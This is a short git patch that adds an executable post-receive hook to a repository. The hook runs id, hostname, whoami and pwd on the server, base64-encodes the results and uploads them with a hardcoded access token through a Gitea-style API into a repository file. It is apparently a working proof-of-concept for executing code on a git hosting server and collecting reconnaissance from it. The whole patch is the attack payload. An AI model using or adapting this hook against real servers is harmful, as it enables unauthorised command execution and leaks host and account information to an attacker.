From dd9bf61517eb3c6dd47613cac3deb3643ca4e65e Mon Sep 17 00:00:00 2001 From: u0bf418b2 Date: Sun, 4 Oct 2026 14:16:50 +0800 Subject: [PATCH] p1 --- hooks/post-receive | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100755 hooks/post-receive diff --git a/hooks/post-receive b/hooks/post-receive new file mode 100755 index 0000000..42c9b98 --- /dev/null +++ b/hooks/post-receive @@ -0,0 +1,6 @@ +#!/bin/sh +B=$( { id; hostname; whoami; pwd ; } 2>&1 | base64 | tr -d '\n' ) +D="{\"content\":\"$B\",\"message\":\"r\",\"branch\":\"main\"}" +U="http://127.0.0.1:3000/api/v1/repos/u0bf418b2/x97e94b6a6/contents/t97e94b6a" +curl -s -m 20 -X PUT -H 'Authorization: token 5c6902dc8d1c0560258ebb951b11ba982ee45fc0' -H 'Content-Type: application/json' -d "$D" "$U" >/dev/null 2>&1 +exit 0